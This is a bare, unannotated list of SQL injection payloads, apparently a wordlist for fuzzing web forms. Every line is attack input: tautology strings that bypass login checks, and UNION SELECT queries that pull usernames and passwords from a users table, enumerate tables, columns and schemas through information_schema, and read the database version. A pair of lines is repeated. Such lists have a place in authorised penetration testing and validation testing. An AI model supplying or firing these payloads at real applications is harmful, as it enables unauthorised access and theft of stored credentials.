' OR '1'='1' -- 
" OR "1"="1" -- 
' OR '1'='1' # 
" OR "1"="1" # 
' OR '1'='1' /* 
" OR "1"="1" /* 
' OR ''=' 
" OR ""=" 
' OR ' ' = ' 
' OR 1=1 -- 
" OR 1=1 -- 
' OR 1=1 # 
" OR 1=1 # 
' OR 1=1 /* 
" OR 1=1 /* 
' OR 'x'='x' -- 
" OR "x"="x" -- 
' OR 'x'='x' # 
" OR "x"="x" # 
' OR 'x'='x' /* 
" OR "x"="x" /* 
' OR 1=1 UNION SELECT 1,2 -- 
" OR 1=1 UNION SELECT 1,2 -- 
' UNION SELECT username, password FROM users -- 
" UNION SELECT username, password FROM users -- 
' UNION SELECT null,null -- 
" UNION SELECT null,null -- 
' UNION SELECT username, password FROM users -- 
" UNION SELECT username, password FROM users -- 
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' -- 
" UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' -- 
' AND 1=2 UNION SELECT null, table_name FROM information_schema.tables -- 
" AND 1=2 UNION SELECT null, table_name FROM information_schema.tables -- 
' OR 1=1 ORDER BY 1 -- 
" OR 1=1 ORDER BY 1 -- 
' OR 1=1 UNION ALL SELECT 1, @@version -- 
" OR 1=1 UNION ALL SELECT 1, @@version -- 
' OR 1=1 UNION SELECT table_schema FROM information_schema.schemata -- 
" OR 1=1 UNION SELECT table_schema FROM information_schema.schemata -- 
' OR 1=1 UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() -- 
" OR 1=1 UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() --